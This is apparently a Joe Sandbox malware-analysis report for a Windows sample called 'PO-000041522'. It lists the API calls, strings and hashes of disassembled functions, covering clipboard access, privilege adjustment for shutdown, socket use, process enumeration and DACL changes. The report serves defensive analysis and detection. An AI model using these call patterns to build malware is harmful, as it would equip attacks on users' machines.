                                                                                                • Opcode ID: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                • Instruction ID: 399dbb17912f16e5170155dcc5475d9346bc7ba5aa4a4c8a0ea4d4714b2c7a66
                                                                                                • Opcode Fuzzy Hash: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                • Instruction Fuzzy Hash: 4141D8726042086BD710EF64DC45AEFB3A8AAC9311F14592FFD54C3280EB79E915C7B9
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Timetime$Sleep
                                                                                                • String ID: BUTTON
                                                                                                • API String ID: 4176159691-3405671355
                                                                                                • Opcode ID: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                • Instruction ID: 32c89cc89acb3c111fc3cc5f781edb0c57d51ec263d79eeef99f8852f1a29925
                                                                                                • Opcode Fuzzy Hash: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                • Instruction Fuzzy Hash: CB21B7723843016BE330DB74FD4DF5A7B94A7A5B51F244876F600E6290D7A5D442876C
                                                                                                APIs
                                                                                                  • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 004392DE
                                                                                                  • Part of subcall function 004392BC: GetLastError.KERNEL32 ref: 004392E4
                                                                                                  • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0043930B
                                                                                                  • Part of subcall function 0043928B: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004392A5
                                                                                                • GetSecurityDescriptorDacl.ADVAPI32(?,00000004,?,?,?,?), ref: 00445E4B
                                                                                                • _memset.LIBCMT ref: 00445E61
                                                                                                • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00445E83
                                                                                                • GetLengthSid.ADVAPI32(?), ref: 00445E92
                                                                                                • GetAce.ADVAPI32(?,00000000,?,?,00000018), ref: 00445EDE
                                                                                                • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00445EFB
                                                                                                • GetLengthSid.ADVAPI32(?,?,00000018), ref: 00445F11
                                                                                                • GetLengthSid.ADVAPI32(?,00000008,?,?,00000000,?,00000000), ref: 00445F39
                                                                                                • CopySid.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00445F40
                                                                                                • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?,?,00000000,?,00000000), ref: 00445F6E
                                                                                                • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?,00000000), ref: 00445F8B
                                                                                                • SetUserObjectSecurity.USER32(?,?,?), ref: 00445FA0
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                                                • String ID:
                                                                                                • API String ID: 3490752873-0
                                                                                                • Opcode ID: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                • Instruction ID: 491154c1e478dcf6c9ac3cbca3c2c9e2645d4ee7bbdc2abf5fae4ada557f6fe4
                                                                                                • Opcode Fuzzy Hash: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                • Instruction Fuzzy Hash: 85519D71108301ABD610DF61CD84E6FB7E9AFC9B04F04491EFA869B242D778E909C76B
                                                                                                APIs
                                                                                                • OleInitialize.OLE32(00000000), ref: 0047AA03
                                                                                                • CLSIDFromProgID.OLE32(00000000,?), ref: 0047AA27
                                                                                                • CoCreateInstance.OLE32(?,00000000,00000005,004829C0,?), ref: 0047AAAA
                                                                                                • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0047AB6B
                                                                                                • _memset.LIBCMT ref: 0047AB7C
                                                                                                • _wcslen.LIBCMT ref: 0047AC68
                                                                                                • _memset.LIBCMT ref: 0047ACCD
                                                                                                • CoCreateInstanceEx.OLE32 ref: 0047AD06
                                                                                                • CoSetProxyBlanket.OLE32(004829D0,?,?,?,?,?,?,00000800), ref: 0047AD53
                                                                                                Strings
                                                                                                • NULL Pointer assignment, xrefs: 0047AD84
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateInitializeInstance_memset$BlanketFromProgProxySecurity_wcslen
                                                                                                • String ID: NULL Pointer assignment
                                                                                                • API String ID: 1588287285-2785691316
                                                                                                • Opcode ID: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                • Instruction ID: 16786b45dbc5194aa398acfc0f0ff3b91b98a178c64a073a91da7f4e0cb75f58
                                                                                                • Opcode Fuzzy Hash: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                • Instruction Fuzzy Hash: 54B10DB15083409FD320EF65C881B9FB7E8BBC8744F108E2EF58997291D7759948CB66
                                                                                                APIs
                                                                                                • GetCurrentProcess.KERNEL32(00000028,?), ref: 004364B9
                                                                                                • OpenProcessToken.ADVAPI32(00000000), ref: 004364C0
                                                                                                • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004364D6
                                                                                                • AdjustTokenPrivileges.ADVAPI32 ref: 004364FE
                                                                                                • GetLastError.KERNEL32 ref: 00436504
                                                                                                • ExitWindowsEx.USER32(?,00000000), ref: 00436527
                                                                                                • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001), ref: 00436557
                                                                                                • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 0043656A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                                                                                                • String ID: SeShutdownPrivilege
                                                                                                • API String ID: 2938487562-3733053543
                                                                                                • Opcode ID: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                • Instruction ID: b625d7910520021a286729d09db348b3c4b0b131b75d5259d4bd29649b467962
                                                                                                • Opcode Fuzzy Hash: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                • Instruction Fuzzy Hash: E021D5B02803017FF7149B64DD4AF6B3398EB48B10F948829FE09852D2D6BDE844973D
                                                                                                APIs
                                                                                                • __swprintf.LIBCMT ref: 00436162
                                                                                                • __swprintf.LIBCMT ref: 00436176
                                                                                                  • Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F
                                                                                                • __wcsicoll.LIBCMT ref: 00436185
                                                                                                • FindResourceW.KERNEL32(?,?,0000000E), ref: 004361A6
                                                                                                • LoadResource.KERNEL32(?,00000000), ref: 004361AE
                                                                                                • LockResource.KERNEL32(00000000), ref: 004361B5
                                                                                                • FindResourceW.KERNEL32(?,?,00000003), ref: 004361DA
                                                                                                • LoadResource.KERNEL32(?,00000000), ref: 004361E4
                                                                                                • SizeofResource.KERNEL32(?,00000000), ref: 004361F0
                                                                                                • LockResource.KERNEL32(?), ref: 004361FD
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll__woutput_l
                                                                                                • String ID:
                                                                                                • API String ID: 2406429042-0
                                                                                                • Opcode ID: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                • Instruction ID: 79d88324f8a28cdfdddc37bd7103cac5134eefaeeaedb246b69d205017f9fa0d
                                                                                                • Opcode Fuzzy Hash: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                • Instruction Fuzzy Hash: 82313432104210BFD700EF64ED88EAF77A9FB89304F00882BFA4196150E778D940CB68
                                                                                                APIs
                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 0045D522
                                                                                                • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D593
                                                                                                • GetLastError.KERNEL32 ref: 0045D59D
                                                                                                • SetErrorMode.KERNEL32(?), ref: 0045D629
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Error$Mode$DiskFreeLastSpace
                                                                                                • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                                                • API String ID: 4194297153-14809454
                                                                                                • Opcode ID: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                • Instruction ID: 49a1caac5541b587bc648ef7caa6256b54369420b38b3993b587487a6931f65b
                                                                                                • Opcode Fuzzy Hash: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                • Instruction Fuzzy Hash: BA31AD75A083009FC310EF55D98090BB7E1AF89315F448D6FF94997362D778E9068B6A
                                                                                                APIs
                                                                                                • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 0047AF0F
                                                                                                  • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                • OleInitialize.OLE32(00000000), ref: 0047AE06
                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                • _wcslen.LIBCMT ref: 0047AE18
                                                                                                • CreateBindCtx.OLE32(00000000,?), ref: 0047AEC2
                                                                                                • CLSIDFromProgID.OLE32(00000000,?,?), ref: 0047AFCC
                                                                                                • GetActiveObject.OLEAUT32(?,00000000,?), ref: 0047AFF9
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CopyVariant$_wcslen$ActiveBindCreateDisplayErrorFromInitializeLastNameObjectParseProg_wcscpy
                                                                                                • String ID: HH
                                                                                                • API String ID: 1915432386-2761332787
                                                                                                • Opcode ID: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                • Instruction ID: 7e3b4e38c6064d991530b19baaff212313fd3e9d55f264e0ba959e8ba912c45c
                                                                                                • Opcode Fuzzy Hash: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                • Instruction Fuzzy Hash: 6C915C71604301ABD710EB65CC85F9BB3E8AFC8714F10892EF64597291EB78E909CB5A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID: DEFINE$`$h$h
                                                                                                • API String ID: 0-4194577831
                                                                                                • Opcode ID: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                                • Instruction ID: b1cbab3e2140d6a963e4b85c5b61650905c2e88cbb7a9c7ccaf19de07e543520
                                                                                                • Opcode Fuzzy Hash: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                                • Instruction Fuzzy Hash: 9802A1715083818FE725CF29C88076BBBE2BFD5304F28896EE89587342D779D849CB56
                                                                                                APIs
                                                                                                • socket.WSOCK32(00000002,00000001,00000006,?,00000000), ref: 004648B0
                                                                                                • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,?,00000000), ref: 004648BE
                                                                                                • bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648DA
                                                                                                • WSAGetLastError.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648E6
                                                                                                • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000005,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 0046492D
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ErrorLast$bindclosesocketsocket
                                                                                                • String ID:
                                                                                                • API String ID: 2609815416-0
                                                                                                • Opcode ID: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                • Instruction ID: d240999dee57073d64b91b26c15bb406cb7727aead8f71c00845428af50f987f
                                                                                                • Opcode Fuzzy Hash: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                • Instruction Fuzzy Hash: C731CB712002009BD710FF2ADC81B6BB3E8EF85724F144A5FF594A72D2D779AC85876A
                                                                                                APIs
                                                                                                • CreateToolhelp32Snapshot.KERNEL32 ref: 00437043
                                                                                                • Process32FirstW.KERNEL32(00000000,00000002), ref: 00437050
                                                                                                • Process32NextW.KERNEL32(00000000,?), ref: 00437075
                                                                                                • __wsplitpath.LIBCMT ref: 004370A5
                                                                                                  • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                • _wcscat.LIBCMT ref: 004370BA
                                                                                                • __wcsicoll.LIBCMT ref: 004370C8
                                                                                                • CloseHandle.KERNEL32(00000000,?), ref: 00437105
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                • String ID:
                                                                                                • API String ID: 2547909840-0
                                                                                                • Opcode ID: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                • Instruction ID: d866d71778569fbbd99b025f777f77cc3db9ba9c83dfb601fa45888e96c7797d
                                                                                                • Opcode Fuzzy Hash: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                • Instruction Fuzzy Hash: 9C21A7B20083819BD735DB55C881BEFB7E8BB99304F00491EF5C947241EB79A589CB6A
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 0045217E
                                                                                                • Sleep.KERNEL32(0000000A,?,?,00000000), ref: 004521B2
                                                                                                • FindNextFileW.KERNEL32(?,?,?,00000000), ref: 004522AC
                                                                                                • FindClose.KERNEL32(?,?,00000000), ref: 004522C3
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Find$File$CloseFirstNextSleep_wcslen
                                                                                                • String ID: *.*
                                                                                                • API String ID: 2693929171-438819550
                                                                                                • Opcode ID: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                • Instruction ID: e6452ff64139cddd5fd774ab19bf2199aa97b2a19dc0f7115334900b47d689b2
                                                                                                • Opcode Fuzzy Hash: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                • Instruction Fuzzy Hash: BD419D756083409FC314DF25C984A9FB7E4BF86305F04491FF98993291DBB8E949CB5A
                                                                                                APIs
                                                                                                • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                • CloseClipboard.USER32 ref: 0046C65D
                                                                                                • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                • CloseClipboard.USER32 ref: 0046C692
                                                                                                • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                • CloseClipboard.USER32 ref: 0046C866
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                • String ID: HH
                                                                                                • API String ID: 589737431-2761332787
                                                                                                • Opcode ID: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                • Instruction ID: 5556deb4c8197336e1b92b5e2a85e957832ef7964462d916cb468ff193882e13
                                                                                                • Opcode Fuzzy Hash: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                • Instruction Fuzzy Hash: 7301F5762042005FC300AFB9ED45B6A7BA4EF59704F04097FF980A72C1EBB1E915C7AA
                                                                                                APIs
                                                                                                • __wcsicoll.LIBCMT ref: 0043643C
                                                                                                • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 00436452
                                                                                                • __wcsicoll.LIBCMT ref: 00436466
                                                                                                • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043647C
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __wcsicollmouse_event
                                                                                                • String ID: DOWN
                                                                                                • API String ID: 1033544147-711622031
                                                                                                • Opcode ID: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                • Instruction ID: 8a73d33e481528181e274ae5662561dddcd8f7088196b39fde8242b6fe69d79f
                                                                                                • Opcode Fuzzy Hash: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                • Instruction Fuzzy Hash: 75E0927558872039FC4036253C02FFB174CAB66796F018116FE00D1291EA586D865BBD
                                                                                                APIs
                                                                                                  • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                • socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 00474213
                                                                                                • WSAGetLastError.WSOCK32(00000000), ref: 00474233
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ErrorLastinet_addrsocket
                                                                                                • String ID:
